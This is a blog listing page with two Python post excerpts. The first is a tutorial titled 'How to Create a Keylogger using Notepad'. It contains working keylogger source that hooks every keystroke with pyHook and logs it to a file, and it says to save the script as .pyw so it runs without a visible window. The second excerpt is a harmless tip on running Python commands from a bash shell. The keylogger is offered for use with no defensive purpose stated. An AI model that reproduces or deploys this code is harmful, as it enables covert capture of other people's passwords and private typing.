Skip to main content

Posts

Showing posts with the label Python

How to Create a Keylogger using Notepad

Keylogger also called keystroke logging, are software programs or hardware devices that record keys struck on the computer keyboard of an individual computer user or network of computers.It almost records every keystroke that user typed and saved as a text file Keylogger Creation Just open the notepad and copy paste the script. import pyHook, pythoncom, sys, logging # feel free to set the file_log to a different file name/location  file_log = 'keyloggeroutput.txt'  def OnKeyboardEvent(event):  logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') chr(event.Ascii)  logging.log(10,chr(event.Ascii))  return True  hooks_manager = pyHook.HookManager()  hooks_manager.KeyDown = OnKeyboardEvent  hooks_manager.HookKeyboard()  pythoncom.PumpMessages() 2. Now save it something filename.pyw and execute the keylogger file. When you need to quit logging, open up task manager and execute all...

Run python commands from a bash shell

In this post I am going to show you how you can run python commands from inside a shell. There are already a few ways of doing so Write your python code in a .py file and run "python yourfile.py" Open up IDLE shell by just typing "python" and writing your command in that shell. There is also another option of python command - $ python -c 'your_command_here'  which will run the python command you specify in quotes. However, the problem with above mentioned methods is, they are time consuming. If you want to quickly perform a list comprehension or anything equivalent in python, you have to either write a script or manually open a python interactive terminal and write your command there. I am going to show you a little tweak you can do in your shell to execute python code (or parts of it) directly from command line. It works as below - $ p '<your_python_code_here>' You type "p" followed by the python statement yo...